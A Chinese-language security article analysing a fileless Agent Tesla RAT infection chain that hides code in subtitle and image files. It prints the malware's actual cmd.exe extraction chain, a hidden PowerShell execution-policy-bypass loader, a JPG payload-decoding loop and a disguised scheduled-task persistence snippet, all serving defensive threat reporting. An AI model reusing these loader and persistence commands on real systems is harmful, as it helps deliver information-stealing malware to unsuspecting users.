摘要

這份分析提供了關於部署 Agent Tesla 遠端存取木馬 (Remote Access Trojan, RAT) 的多階段無檔案攻擊鏈詳細技術分析。該攻擊利用了一套複雜的「就地取材」或翻「離地攻擊」(Living Off the Land, LOTL) 技術序列,主要使用 PowerShell 進行執行、解密與維持持續性。關鍵技術層面包含透過隱寫術將 Payload 隱藏在字幕檔案 (.srt) 與圖片檔案 (.jpg) 中、動態執行混淆腳本,以及透過 Windows 工作排程器建立持續性。分析重點在於規避防禦的技術機制,並與類似的無檔案及基於隱寫術的攻擊向量進行比較,突顯出惡意軟體交付管道不斷進化的複雜程度。

揭密無檔案攻擊黑手:Agent Tesla 如何利用字幕與圖片檔案入侵你的電腦 | 資訊安全新聞

1. 簡介

Agent Tesla RAT 作為一種長期的資訊竊取程式,在網路威脅領域依然盛行。最近的行動顯示其交付機制有了顯著演進,從簡單的可執行附件轉向複雜、多層次的攻擊鏈,旨在實現最大程度的隱蔽與規避。所分析的攻擊行動最初偽裝成電影種子檔案,展現出對 Windows Native API 工具(特別是 PowerShell 和命令提示字元)的高度依賴,以無檔案方式執行整個感染程序,從而減少磁碟 Artifact 並繞過傳統的特徵碼辨識防禦 [1]。這份分析剖析了技術流程,聚焦於 PowerShell 腳本以及將合法檔案格式用於惡意用途的創新手法。

2. 多階段執行與混淆

感染始於一個看似無害的捷徑檔案 ( CD.lnk ),該檔案會觸發一個複雜的指令鏈 (Command chain)。此鏈結透過讀取包含隱藏批次程式碼的字幕檔案 ( Part2.subtitles.srt ) 特定行數,啟動第一階段執行 [1]。

2.1 初始指令執行

.lnk 檔案執行一個命令提示字元指令,展示了一種從非執行檔中提取並執行隱藏程式碼的複雜方法。該指令使用 type more findstr 來定位 .srt 檔案中的特定行 (100-103),並透過 pipe 傳送至 for /f 迴圈進行執行 [1]。

\Windows\System32\cmd.exe /c type Part2.subtitles.srt | more | findstr /n "^" | findstr "100: 101: 102: 103:" | for /f "tokens=1,* delims=:" %a in ('more') do cmd /c %b

這段初始批次程式碼隨後執行 PowerShell 指令,從同一個 .srt 檔案中讀取並執行後續更大區塊的程式碼(從第 5005 行開始的 152 行),有效地將執行階段完全鏈結在系統原生的腳本 (Native scripting) 環境中。

# Batch code from .srt file (lines 100-103)

powershell -windowstyle hidden -nop -ep Bypass -c "$s=5005;$e=152;$f=('P'+[char]97+'rt'+(1+1)+'.subtitles.srt');(gc $f)|select -Skip $s -First $e|powershell -windowstyle hidden -nop -ep Bypass -f -"

# Detailed comment: This command uses string concatenation for "Part2.subtitles.srt" to avoid simple string detection.

# It reads a block of 152 lines from the same file and executes it directly via a new PowerShell instance, ensuring the next stage is memory-resident.

2.2 透過隱寫術隱藏 Payload

一種採用的關鍵規避防禦技術是隱寫術 (Steganography),將惡意資料隱藏在看似良性的檔案中。該攻擊使用了兩個此類檔案: Photo.jpg Cover.jpg 。第三個 PowerShell 腳本負責解碼 Photo.jpg 中的隱藏資料 [1]。

腳本先將圖片檔案讀入為位元組陣列,再逐一處理,並利用一種客制化的解碼方法(類似簡單的 XOR 或減法運算)來重建原始資料 [1]。這種技術與其他使用圖片檔案隱藏 Payload 的進階無檔案攻擊相似,如相關研究所記載 [2]。

# PowerShell snippet for decoding Photo.jpg

[byte[]]$blob = [IO.File]::ReadAllBytes($Deal)

# ...

for ($i = 0; $i -lt $data.Length; $i++) {
$data[$i] = ($data[$i] - 3) -band 0xFF
}

# Detailed comment: The script reads the image file as a byte array ($blob).

# It then iterates through the extracted data ($data) and applies a byte-level transformation:

# subtracting 3 from each byte and masking with 0xFF. This is a simple custom decryption routine

# to retrieve the embedded binary payload, which is then written to the cache folder.

此外,第五個腳本會解壓縮 Cover.jpg ,這是一個受密碼保護的壓縮檔。使用簡單的密碼 ("1") 顯示其主要目的並非強效加密,而是為了強制使用合法的壓縮工具(如 WinRAR、7-Zip)進行提取,進一步將惡意活動混入正常的系統操作 (LOTL) 中 [1]。

3. 持續性與最終 Payload 交付

該攻擊以高度規避的方式建立持續性並準備最終 Payload,利用了合法的 Windows 功能與編譯後的 Go 執行檔。

3.1 工作排程器持續性

持續性是透過建立一個名為 RealtekDiagnostics 的排程工作來實現的,該工作偽裝成「Audio Helper」,並執行一個批次檔 ( RealtekCodec.bat ) [1]。此方法是常見的 LOTL 技術,因為排程工作是合法的系統組件,其建立往往不會被基礎監控工具察覺 [2]。PowerShell 腳本使用 Schedule.Service COM 物件以程式化方式註冊該工作:

# PowerShell snippet for Scheduled Task creation

$S = New-Object -ComObject Schedule.Service
$S.Connect()

# ...

$D.RegistrationInfo.Description = "Audio Helper" # Evasion technique: benign description
$A.Path = "cmd.exe"
$A.Arguments = [string]::Format('/c start /min "" "{0}"', $B) # Executes RealtekCodec.bat
$F.RegisterTaskDefinition($T, $D, 6, $null, $null, 3, $null)

# Detailed comment: This script uses the COM object to create a new task ($D) and registers it ($F.RegisterTaskDefinition).

# The task is set to run 'cmd.exe' with arguments to execute the batch file, ensuring persistence upon logon or after a short delay.

3.2 最終階段載入器與無檔案執行

從隱寫術壓縮檔中提取的檔案包含一個 PowerShell 腳本 ( RealtekDriverInstall.ps1 ) 和一個 Go 原始碼檔案 ( RealtekAudioService.go )。PowerShell 腳本會嘗試安裝 Go 程式語言,然後將 Go 原始碼檔案編譯成執行檔 [1]。這個編譯後的執行檔作為 Agent Tesla Payload 的最終階段載入器。

最終的 Payload 交付是透過無檔案執行技術完成的。最後一個批次腳本會讀取一個包含 PowerShell 指令的檔案 ( Part3.Resolution )。此指令會將稍早提取的三個文字檔 ( part1.txt , part2.txt , part3.txt ) 進行串接與解碼,並直接在記憶體中執行產生的 Payload [1]。這種動態的記憶體內執行是進階無檔案攻擊的標誌,因為它避免了將最終惡意二進位檔寫入磁碟,使得鑑識分析變得更具挑戰性 [2]。

4. 攻擊鏈視覺化

整個感染程序是一個高度協調的多層次執行鏈,旨在利用原生工具與檔案格式來達成隱蔽。下圖說明了執行與 Payload 交付的流程:

graph TD A[User Clicks CD.lnk] --> B(CMD Executes Batch Code
from Part2.subtitles.srt); B --> C(PowerShell Stage 1:
Decrypts 5 Scripts
from .srt); C --> D1(Script 1:
Unpacks One Battle
After Another.m2ts); C --> D2(Script 2:
Creates Scheduled Task
RealtekDiagnostics); C --> D3(Script 3:
Decodes Photo.jpg payload); C --> D4(Script 5:
Unpacks Cover.jpg archive); D3 & D4 --> E(Payloads written
to
WindowsSoundDiagnostics Cache); E --> F(RealtekCodec.bat runs
RealtekDriverInstall.ps1); F --> G(RealtekDriverInstall.ps1:
Compiles
RealtekAudioService.go
to EXE); G --> H(RealtekAudioSyncHelper.bat
runs); H --> I(PowerShell Stage 2:
Concatenates/Decodes
part1/2/3.txt); I --> J(Agent Tesla Payload
Executed In-Memory); style A fill:#f9f,stroke:#333,stroke-width:2px style J fill:#f99,stroke:#333,stroke-width:2px

5. 結論

所分析的 Agent Tesla 行動代表了惡意軟體交付的重大進展,其特徵在於對 PowerShell 的分層使用以及對無檔案執行的堅持。透過在字幕檔案中嵌入程式碼以及在圖片檔案中利用隱寫術,Threat actor 成功地在看似平淡無奇的資料背後掩蓋了惡意意圖。對 PowerShell、CMD 與工作排程器等 LOTL 工具執行與持續性的依賴,凸顯了網路攻擊中透過模仿合法系統行為來規避偵測的日益增長的趨勢。與類似無檔案攻擊 [2] 的比較證實了這些技術(多階段腳本、動態執行與濫用受信任的二進位檔)正成為複雜 Threat actor 的標準作業程序。針對此類威脅的有效防禦需要從基於特徵碼的偵測轉向進階行為分析,並對腳本引擎活動與系統工具使用情況進行持續監控。